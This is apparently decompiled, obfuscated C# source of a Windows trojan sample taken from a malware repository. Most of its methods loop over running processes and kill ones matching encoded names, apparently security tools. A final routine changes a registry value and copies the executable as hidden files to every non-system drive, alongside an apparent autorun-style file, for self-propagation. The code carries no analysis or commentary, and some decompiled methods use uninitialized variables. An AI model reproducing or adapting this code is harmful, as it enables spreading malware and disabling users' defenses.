// Decompiled with JetBrains decompiler
// Type: .
// Assembly: Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 7761CAE9-D290-48D9-A44C-5C95C5289DD6
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Downloader.MSIL.VKont.a-1d4cb0f0a33db378f9e4ae1b0f91ee4baabf5f1a669646e1278e016241a1452a.exe

using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using Microsoft.Win32;
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.CompilerServices;
using System.Windows.Forms;

namespace \u0005
{
  internal sealed class \u0001
  {
    [NonSerialized]
    internal static \u0001.\u0001 \u0001;

    public static void \u0002()
    {
      Process[] processes = Process.GetProcesses();
      int num = checked (processes.Length - 1);
      int index = 0;
      while (index <= num)
      {
        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), \u0005.\u0001.\u0001(4928), false) == 0)
          processes[index].Kill();
        checked { ++index; }
      }
    }

    public static void \u0003()
    {
      Process[] processes = Process.GetProcesses();
      int num = checked (processes.Length - 1);
      int index = 0;
      while (index <= num)
      {
        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), \u0005.\u0001.\u0001(4941), false) == 0)
          processes[index].Kill();
        checked { ++index; }
      }
    }

    public static void \u0004()
    {
      Process[] processes = Process.GetProcesses();
      int num = checked (processes.Length - 1);
      int index = 0;
      while (index <= num)
      {
        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), \u0005.\u0001.\u0001(4962), false) == 0)
          processes[index].Kill();
        checked { ++index; }
      }
    }

    public static void \u0005()
    {
      Process[] processes = Process.GetProcesses();
      int num = checked (processes.Length - 1);
      int index = 0;
      while (index <= num)
      {
        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), \u0005.\u0001.\u0001(4975), false) == 0)
          processes[index].Kill();
        checked { ++index; }
      }
    }

    public static void \u0006()
    {
      Process[] processes = Process.GetProcesses();
      int num = checked (processes.Length - 1);
      int index = 0;
      while (index <= num)
      {
        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), \u0005.\u0001.\u0001(4988), false) == 0)
          processes[index].Kill();
        checked { ++index; }
      }
    }

    public static void \u0007()
    {
      Process[] processes = Process.GetProcesses();
      int num = checked (processes.Length - 1);
      int index = 0;
      while (index <= num)
      {
        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), \u0005.\u0001.\u0001(5001), false) == 0)
          processes[index].Kill();
        checked { ++index; }
      }
    }

    public static void \u0008()
    {
      Process[] processes = Process.GetProcesses();
      int num = checked (processes.Length - 1);
      int index = 0;
      while (index <= num)
      {
        if (Operators.CompareString(Strings.UCase(processes[index].ProcessName), Strings.UCase(\u0005.\u0001.\u0001(5010)), false) == 0)
          processes[index].Kill();
        checked { ++index; }
      }
    }

    public static void \u000E()
    {
      Process[] processes = Process.GetProcesses();
      int num = checked (processes.Length - 1);
      int index = 0;
      while (index <= num)
      {
        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), \u0005.\u0001.\u0001(5010), false) == 0)
          processes[index].Kill();
        checked { ++index; }
      }
    }

    public static void \u000F()
    {
      Process[] processes = Process.GetProcesses();
      int num = checked (processes.Length - 1);
      int index = 0;
      while (index <= num)
      {
        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), \u0005.\u0001.\u0001(5023), false) == 0)
          processes[index].Kill();
        checked { ++index; }
      }
    }

    public static void \u0010()
    {
      Process[] processes = Process.GetProcesses();
      int num = checked (processes.Length - 1);
      int index = 0;
      while (index <= num)
      {
        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), \u0005.\u0001.\u0001(5036), false) == 0)
          processes[index].Kill();
        checked { ++index; }
      }
    }

    public static void \u0011()
    {
      Process[] processes = Process.GetProcesses();
      int num = checked (processes.Length - 1);
      int index = 0;
      while (index <= num)
      {
        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), \u0005.\u0001.\u0001(5041), false) == 0)
          processes[index].Kill();
        checked { ++index; }
      }
    }

    public static void \u0012()
    {
      Process[] processes = Process.GetProcesses();
      int num = checked (processes.Length - 1);
      int index = 0;
      while (index <= num)
      {
        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), \u0005.\u0001.\u0001(5050), false) == 0)
          processes[index].Kill();
        checked { ++index; }
      }
    }

    public static void \u0013()
    {
      Process[] processes = Process.GetProcesses();
      int num = checked (processes.Length - 1);
      int index = 0;
      while (index <= num)
      {
        if (Operators.CompareString(Strings.UCase(processes[index].ProcessName), Strings.UCase(\u0005.\u0001.\u0001(5067)), false) == 0)
          processes[index].Kill();
        checked { ++index; }
      }
    }

    public static void \u0014()
    {
      Process[] processes = Process.GetProcesses();
      int num = checked (processes.Length - 1);
      int index = 0;
      while (index <= num)
      {
        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), \u0005.\u0001.\u0001(5076), false) == 0)
          processes[index].Kill();
        checked { ++index; }
      }
    }

    public static void \u0015()
    {
      Process[] processes = Process.GetProcesses();
      int num = checked (processes.Length - 1);
      int index = 0;
      while (index <= num)
      {
        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), \u0005.\u0001.\u0001(5081), false) == 0)
          processes[index].Kill();
        checked { ++index; }
      }
    }

    public static void \u0016()
    {
      Process[] processes = Process.GetProcesses();
      int num = checked (processes.Length - 1);
      int index = 0;
      while (index <= num)
      {
        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), \u0005.\u0001.\u0001(5098), false) == 0)
          processes[index].Kill();
        checked { ++index; }
      }
    }

    public static void \u0017()
    {
      Process[] processes = Process.GetProcesses();
      int num = checked (processes.Length - 1);
      int index = 0;
      while (index <= num)
      {
        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), \u0005.\u0001.\u0001(5107), false) == 0)
          processes[index].Kill();
        checked { ++index; }
      }
    }

    public static void \u0018()
    {
      Process[] processes = Process.GetProcesses();
      int num1 = checked (processes.Length - 1);
      int num2 = 0;
      while (num2 <= num1)
      {
        int index;
        if (Operators.CompareString(Strings.UCase(processes[index].ProcessName), Strings.UCase(\u0005.\u0001.\u0001(5128)), false) == 0)
          processes[index].Kill();
        checked { ++num2; }
      }
    }

    public static void \u0019()
    {
      Process[] processes = Process.GetProcesses();
      int num = checked (processes.Length - 1);
      int index = 0;
      while (index <= num)
      {
        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), \u0005.\u0001.\u0001(5137), false) == 0)
          processes[index].Kill();
        checked { ++index; }
      }
    }

    public static void \u001A()
    {
      Process[] processes = Process.GetProcesses();
      int num = checked (processes.Length - 1);
      int index = 0;
      while (index <= num)
      {
        if (Operators.CompareString(Strings.UCase(processes[index].ProcessName), Strings.UCase(\u0005.\u0001.\u0001(5146)), false) == 0)
          processes[index].Kill();
        checked { ++index; }
      }
    }

    public static void \u001B()
    {
      Process[] processes = Process.GetProcesses();
      int num = checked (processes.Length - 1);
      int index = 0;
      while (index <= num)
      {
        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), \u0005.\u0001.\u0001(5146), false) == 0)
          processes[index].Kill();
        checked { ++index; }
      }
    }

    public static void \u001C()
    {
      Process[] processes = Process.GetProcesses();
      int num = checked (processes.Length - 1);
      int index = 0;
      while (index <= num)
      {
        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), \u0005.\u0001.\u0001(5155), false) == 0)
          processes[index].Kill();
        checked { ++index; }
      }
    }

    public static void \u001D()
    {
      Process[] processes = Process.GetProcesses();
      int num = checked (processes.Length - 1);
      int index = 0;
      while (index <= num)
      {
        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), \u0005.\u0001.\u0001(5164), false) == 0)
          processes[index].Kill();
        checked { ++index; }
      }
    }

    public static void \u001E()
    {
      Process[] processes = Process.GetProcesses();
      int num = checked (processes.Length - 1);
      int index = 0;
      while (index <= num)
      {
        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), \u0005.\u0001.\u0001(5177), false) == 0)
          processes[index].Kill();
        checked { ++index; }
      }
    }

    public static void \u001F()
    {
      Process[] processes = Process.GetProcesses();
      int num = checked (processes.Length - 1);
      int index = 0;
      while (index <= num)
      {
        if (Operators.CompareString(Strings.UCase(processes[index].ProcessName), Strings.UCase(\u0005.\u0001.\u0001(5190)), false) == 0)
          processes[index].Kill();
        checked { ++index; }
      }
    }

    public static void \u007F()
    {
      Process[] processes = Process.GetProcesses();
      int num = checked (processes.Length - 1);
      int index = 0;
      while (index <= num)
      {
        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), \u0005.\u0001.\u0001(5190), false) == 0)
          processes[index].Kill();
        checked { ++index; }
      }
    }

    public static void \u0080()
    {
      Process[] processes = Process.GetProcesses();
      int num = checked (processes.Length - 1);
      int index = 0;
      while (index <= num)
      {
        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), \u0005.\u0001.\u0001(5203), false) == 0)
          processes[index].Kill();
        checked { ++index; }
      }
    }

    public static void \u0081()
    {
      Process[] processes = Process.GetProcesses();
      int num = checked (processes.Length - 1);
      int index = 0;
      while (index <= num)
      {
        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), \u0005.\u0001.\u0001(5216), false) == 0)
          processes[index].Kill();
        checked { ++index; }
      }
    }

    public static void \u0082()
    {
      Process[] processes = Process.GetProcesses();
      int num = checked (processes.Length - 1);
      int index = 0;
      while (index <= num)
      {
        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), \u0005.\u0001.\u0001(5233), false) == 0)
          processes[index].Kill();
        checked { ++index; }
      }
    }

    public static bool \u0002()
    {
      string userName = Environment.UserName;
      object[] objArray = new object[1]
      {
        (object) \u0005.\u0001.\u0001(5250)
      };
      if (new bool[1]{ true }[0])
        Conversions.ToString(Conversions.ChangeType(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(objArray[0]))), typeof (string)));
      bool flag;
      return flag;
    }

    public static void \u0083()
    {
      Process[] processes = Process.GetProcesses();
      int index = 0;
      while (index < processes.Length)
      {
        Process process = processes[index];
        if (string.Equals(process.MainWindowTitle, \u0005.\u0001.\u0001(5299)))
          process.Kill();
        checked { ++index; }
      }
    }

    public static void \u0084()
    {
      Process[] processes = Process.GetProcesses();
      int num1 = checked (processes.Length - 1);
      int num2 = 0;
      while (num2 <= num1)
      {
        int index;
        if (Operators.CompareString(Strings.UCase(processes[index].ProcessName), Strings.UCase(\u0005.\u0001.\u0001(5340)), false) == 0)
          processes[index].Kill();
        checked { ++num2; }
      }
    }

    public static void \u0086()
    {
      Process[] processes = Process.GetProcesses();
      int num = checked (processes.Length - 1);
      int index = 0;
      while (index <= num)
      {
        if (Operators.CompareString(Strings.UCase(processes[index].ProcessName), Strings.UCase(\u0005.\u0001.\u0001(5353)), false) == 0)
          processes[index].Kill();
        checked { ++index; }
      }
    }

    public static void \u0087()
    {
      try
      {
        Path.GetFileName(Application.ExecutablePath);
        \u0002.\u0002.\u0002().Registry.SetValue(\u0005.\u0001.\u0001(5366), \u0005.\u0001.\u0001(5471), (object) true, RegistryValueKind.DWord);
        string programFiles = \u0002.\u0002.\u0002().FileSystem.SpecialDirectories.ProgramFiles;
        string[] logicalDrives = Directory.GetLogicalDrives();
        int index = 0;
        while (index < logicalDrives.Length)
        {
          string str = logicalDrives[index];
          if (!programFiles.Contains(str))
          {
            \u0002.\u0002.\u0002().FileSystem.CopyFile(Application.ExecutablePath, str + \u0005.\u0001.\u0001(5480), true);
            \u0002.\u0002.\u0002().FileSystem.WriteAllText(str + \u0005.\u0001.\u0001(5497), \u0005.\u0001.\u0001(5514) + str + \u0005.\u0001.\u0001(5539) + str, true);
            FileSystem.SetAttr(str + \u0005.\u0001.\u0001(5480), FileAttribute.Hidden);
            FileSystem.SetAttr(str + \u0005.\u0001.\u0001(5497), FileAttribute.Hidden);
          }
          checked { ++index; }
        }
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
      }
    }

    static \u0001() => \u0001.\u0002.\u0002();
  }
}
